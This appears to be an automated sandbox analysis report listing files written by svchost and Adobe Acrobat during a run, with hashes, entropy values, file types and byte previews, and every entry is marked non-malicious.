Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqp:2JIB/wUKUKQncEmYRTwh0F
MD5:	AEB9FB2F1B6ABF65150D9F486DFF4546
SHA1:	D676C602590D507A1127A2E9043C8734B33520FD
SHA-256:	5941ADB61471F523967E7807D342A950A5FB215665113E168A80A70B87810581
SHA-512:	038527A6A91EA3E2F4E9A40B3675CED2F33BBD9E48CC12B89111D1BE401670D2455BC2A2F9776EE1B78F3207BF30019A33B7219F59486D01BC50D1BD0A9D0B71
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2dd5dfee, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899649119249855
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	C6F3CD399E55394B3BBA3DC5F3BEDBF2
SHA1:	687900E92DF59FBD104C160425394B0BB8A934D8
SHA-256:	F84397D88A955C28D9B1CE00B173A43F28F4D67CBCCA8B5125A00AB5908903E9
SHA-512:	B5008ACEA785FEF47791BC90F7C575FBBF46FCA43B6C9F40A55AD7F3B3FCD6D415B819D1CEBC03FEE59C6BAE2A5350F33E061CB9F2CCAF2D08B55FDD0AF55F62
Malicious:	false
Preview:	-...... ...............X\...;...{......................0.`.....42...{5..$...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................n_1.$...}9..................v6..$...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08145159497238419
Encrypted:	false
SSDEEP:	3:yHm1KYeRQRXilqt/57Dek3JxAllYllEqW3l/TjzzQ/t:yHm1KzRQFR3txAQmd8/
MD5:	F29B569B85D4AAF8FC7AE0CB74BBCAB1
SHA1:	85569E889C3C0DF762061FB25412BB6A0093C99E
SHA-256:	C9464C14592ED83B88EFE9E341F6ED4CC50E903289F644B8BD7B85A0E0723B02
SHA-512:	1EAB883FB959D522BA17211F67CDC13141DF1ED1D79907A1421945712DACCC713382DCBED20A46F1122E8E0A7B4E633999DA0AC7EFE3D9FA7540D26349CBDE5E
Malicious:	false
Preview:	.P.......................................;...{...$...}..42...{5.........42...{5.42...{5...Y.42...{59.................v6..$...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.17995934647763
Encrypted:	false
SSDEEP:	6:iO/q3+q2PcNwi2nKuAl9OmbnIFUtdHZmwjnVkwOcNwi2nKuAl9OmbjLJ:7/3vLZHAahFUtdH/jV54ZHAaSJ
MD5:	63949F3DF1B24E80B7FAB397C7CE3A42
SHA1:	B276EE59BB900E3CEA1130C488E481F6F314E8A7
SHA-256:	E5DD144209E01825FD727FDF93AD7586890B6D34C55A158F301ECB080E4B8E85
SHA-512:	004DA198C0FC4B78AE0A7970E07ED9CF4A5951BE35463B8B257950E9AB156C60857E86A1EC5DF3868F1AB733B2DC979DD6E30D3E9BA344BE455C116E4B3037D8
Malicious:	false
Preview:	2025/01/11-02:36:03.006 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:36:03.009 1c88 Recovering log #3.2025/01/11-02:36:03.009 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.17995934647763
Encrypted:	false
SSDEEP:	6:iO/q3+q2PcNwi2nKuAl9OmbnIFUtdHZmwjnVkwOcNwi2nKuAl9OmbjLJ:7/3vLZHAahFUtdH/jV54ZHAaSJ
MD5:	63949F3DF1B24E80B7FAB397C7CE3A42
SHA1:	B276EE59BB900E3CEA1130C488E481F6F314E8A7
SHA-256:	E5DD144209E01825FD727FDF93AD7586890B6D34C55A158F301ECB080E4B8E85
SHA-512:	004DA198C0FC4B78AE0A7970E07ED9CF4A5951BE35463B8B257950E9AB156C60857E86A1EC5DF3868F1AB733B2DC979DD6E30D3E9BA344BE455C116E4B3037D8
Malicious:	false
Preview:	2025/01/11-02:36:03.006 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:36:03.009 1c88 Recovering log #3.2025/01/11-02:36:03.009 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.167698919052591
Encrypted:	false
SSDEEP:	6:iO/tMq2PcNwi2nKuAl9Ombzo2jMGIFUtdpZmwjjkwOcNwi2nKuAl9Ombzo2jMmLJ:7/KvLZHAa8uFUtdp/jj54ZHAa8RJ
MD5:	E9AB5FED8E91E4D0F79AC72743895734
SHA1:	F64996EFAF33889BAA5D666C326B466E97352E5E
SHA-256:	263C4C82FB85E773A50552EEA30D81FC575800C06803A5E9AA36E8A698B2F231
SHA-512:	C7EBBED7DB36CE24D5384BAA3C19D6F01D8DAC23F59FF7B354637CE3F6625C0A08966427B9EBB13D67C07364B2730205CC7CACF1E66E8C560B2726F72AF68E64
Malicious:	false
Preview:	2025/01/11-02:36:03.003 1d74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:36:03.005 1d74 Recovering log #3.2025/01/11-02:36:03.005 1d74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.167698919052591
Encrypted:	false
SSDEEP:	6:iO/tMq2PcNwi2nKuAl9Ombzo2jMGIFUtdpZmwjjkwOcNwi2nKuAl9Ombzo2jMmLJ:7/KvLZHAa8uFUtdp/jj54ZHAa8RJ
MD5:	E9AB5FED8E91E4D0F79AC72743895734
SHA1:	F64996EFAF33889BAA5D666C326B466E97352E5E
SHA-256:	263C4C82FB85E773A50552EEA30D81FC575800C06803A5E9AA36E8A698B2F231
SHA-512:	C7EBBED7DB36CE24D5384BAA3C19D6F01D8DAC23F59FF7B354637CE3F6625C0A08966427B9EBB13D67C07364B2730205CC7CACF1E66E8C560B2726F72AF68E64
Malicious:	false
Preview:	2025/01/11-02:36:03.003 1d74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:36:03.005 1d74 Recovering log #3.2025/01/11-02:36:03.005 1d74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\03367989-dffc-4f00-bbc8-6e4fbfb6c863.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9655162853550765
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2H7caq3QYiubSpDyP7E4T3y:Y2sRdspdMHC3QYhbSpDa7nby
MD5:	1357BA241CDBD031DBB35D40F60447E0
SHA1:	29D8F9E55DD899A33C2D6D37C3D4A2E64841D1BF
SHA-256:	2D8002F57194FCD141516436C8F2B9FF5953A84D8122C1C319F5FD628B694E29
SHA-512:	6104F55972BAC9917484FB8B5E42186B87333822932BA671BBF0461EE78A9BE4A18863977A69E04AA2BB09B730BB07C2ED6852808359E2C06BF29E76A30441E3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140973839757","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121878},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF64cec3.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ae5f3170-c082-4fae-badd-86be6810cfc6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237332264648892
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPi1lQ1:CwNw1GHqPySfkcigoO3h28ytPi1lQ1
MD5:	A9F917BA5915480CD75A2B0DC35FB4D8
SHA1:	78EB5A0CA78CEBCC08C333C5E9DD0F6BEA577646
SHA-256:	BB3EEDDDA5673A2D51A6BF6B0E2175C317714A3FAE02AD7E301B0A10D2049DCD
SHA-512:	71E5E2FE951E3E6718C76F5A47490F96D98D26AF6C544181B714526A7AF38696BB2A38A3DD1B4AA090381F04709C0101838EB6A633A875F7A91D9314011B6CF5
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217962869587288
Encrypted:	false
SSDEEP:	6:iO/Yq2PcNwi2nKuAl9OmbzNMxIFUtdrYCZmwjuUkwOcNwi2nKuAl9OmbzNMFLJ:7/YvLZHAa8jFUtdrYC/jp54ZHAa84J
MD5:	AE447BAB651651DDA7DA747ECF65C563
SHA1:	A096796014919A03A16639FC557D10BC00521C85
SHA-256:	F48ADF848CC82C91D99C866BEB0AA34BE3B3D557EFB8F00F1076966E8FAFE7A3
SHA-512:	DA42C95EEC867583CC459247788ABAB3B8B0EB567E0DEAC6461A0CF31BED86D81D4E93C3C6E444D1077FA4A5AFA21FC1DCE84BD399926F9B1AB57F40E24F11FB
Malicious:	false
Preview:	2025/01/11-02:36:03.522 1d74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:36:03.539 1d74 Recovering log #3.2025/01/11-02:36:03.542 1d74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217962869587288
Encrypted:	false
SSDEEP:	6:iO/Yq2PcNwi2nKuAl9OmbzNMxIFUtdrYCZmwjuUkwOcNwi2nKuAl9OmbzNMFLJ:7/YvLZHAa8jFUtdrYC/jp54ZHAa84J
MD5:	AE447BAB651651DDA7DA747ECF65C563
SHA1:	A096796014919A03A16639FC557D10BC00521C85
SHA-256:	F48ADF848CC82C91D99C866BEB0AA34BE3B3D557EFB8F00F1076966E8FAFE7A3
SHA-512:	DA42C95EEC867583CC459247788ABAB3B8B0EB567E0DEAC6461A0CF31BED86D81D4E93C3C6E444D1077FA4A5AFA21FC1DCE84BD399926F9B1AB57F40E24F11FB
Malicious:	false
Preview:	2025/01/11-02:36:03.522 1d74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:36:03.539 1d74 Recovering log #3.2025/01/11-02:36:03.542 1d74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438771102059939
Encrypted:	false
SSDEEP:	384:Seici5G9iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:VRurVgazUpUTTGt
MD5:	1431A4804C70D8B885C00288DDFCB574
SHA1:	F361A5BCB0848F14181355F055E187CF3B45EA7E
SHA-256:	7F3268E70732CBBA653B033E1C844C409A147600DF9395FD03A63A3F9AF3C3ED
SHA-512:	A8A5A2F6AA1471E43E74AF5B8FE2CD0B6FEE60729CA64A9CEAB7E5C1455D4F41422F3F55932D06D4CE42715AA86F4C313B29A3F76A250B8685EE2DEE7D71CE2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2157384230390234
Encrypted:	false
SSDEEP:	24:7+taH96wKTqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MP:7M4WTqvmFTIF3XmHjBoGGR+jMz+Lhe
MD5:	5D07C70DDC12B4D5D96BBB08A9CAFCA3
SHA1:	E9F9F357FF8DCC175FA897340B3B4F61561467A0
SHA-256:	EF97C805F1160F38C3AED40198A4BFD95C50A3D94F3E0EDCB096E9821243AC34
SHA-512:	60686823AE00BC52D1F8305BCFE00E3CCF476E273CB4B9898F3F177A8ED99DB986044CD4FACC24E4B544733EA5DC7447849E4586A159589EBA23D85247AC7F42
Malicious:	false
Preview:	.... .c.....Q...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl3eRtfllXlE/HT8k5XlhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKRReT8w1RNMa8RdWBwRd
MD5:	BECCCADB18773141FDCA4CC7332ACBBF
SHA1:	98C0CBCE614B2CFB453FE824C525EDE7D98FE8ED
SHA-256:	A6D6E1F0655E78219B472BAB2B04FD0D0F4E0C5B7D39A68D3A4D911DDAEEC545
SHA-512:	93025DD9DDD34EE888033DB21A915AB863F71AC3203C830A66832009B1B3B2CDDCCE6040BED4C81E1163E59C7B10ECF91998B8760927CF62273F383928491945
Malicious:	false
Preview:	p...... ........D;.{.c..(....................................................... ..........W.....H..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKLpPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:jpPiDnLNkPlE99SNxAhUe/3
MD5:	351640576FA391A53807486142B4D149
SHA1:	161BF70AB569542A3EC4FFF21AF771DA4364664D
SHA-256:	E4EB45E02CA2FA112D99CC9341F8A209683CDB85BC37D6C81FC0EFA365F203A7
SHA-512:	A6186E187982CAF6E098534E8A68B32011AC43924453FDC298960D48F8B03BA159466DE5F65F1D6135FEEF9FB113D6E1E9310615F93B1D587CFDC8B67379150D
Malicious:	false
Preview:	p...... ..........>..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
